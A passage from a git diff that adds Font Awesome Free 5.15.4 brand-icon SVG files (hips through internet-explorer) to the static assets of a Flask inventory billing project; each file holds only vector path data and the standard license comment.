3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hips.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hips.svg new file mode 100644 index 00000000..67cbc457 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hips.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hire-a-helper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hire-a-helper.svg new file mode 100644 index 00000000..4e7b7f00 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hire-a-helper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hive.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hive.svg new file mode 100644 index 00000000..6a7d9087 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hive.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hooli.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hooli.svg new file mode 100644 index 00000000..ba53a4fb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hooli.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hornbill.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hornbill.svg new file mode 100644 index 00000000..e42cddff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hornbill.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hotjar.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hotjar.svg new file mode 100644 index 00000000..7b406880 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hotjar.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/houzz.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/houzz.svg new file mode 100644 index 00000000..1d1ceda4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/houzz.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/html5.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/html5.svg new file mode 100644 index 00000000..b74b517f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/html5.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hubspot.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hubspot.svg new file mode 100644 index 00000000..da90ce08 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/hubspot.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ideal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ideal.svg new file mode 100644 index 00000000..b0b4e72f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ideal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/imdb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/imdb.svg new file mode 100644 index 00000000..3be59f31 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/imdb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/innosoft.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/innosoft.svg new file mode 100644 index 00000000..a55d3f2c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/innosoft.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram-square.svg new file mode 100644 index 00000000..dd24ad07 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram.svg new file mode 100644 index 00000000..d7740766 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instagram.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instalod.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instalod.svg new file mode 100644 index 00000000..4cddfc07 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/instalod.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" data-name="Layer 1" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/intercom.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/intercom.svg new file mode 100644 index 00000000..56875210 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/intercom.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/internet-explorer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/internet-explorer.svg new file mode 100644 index 00000000..af386910 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/internet-explorer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 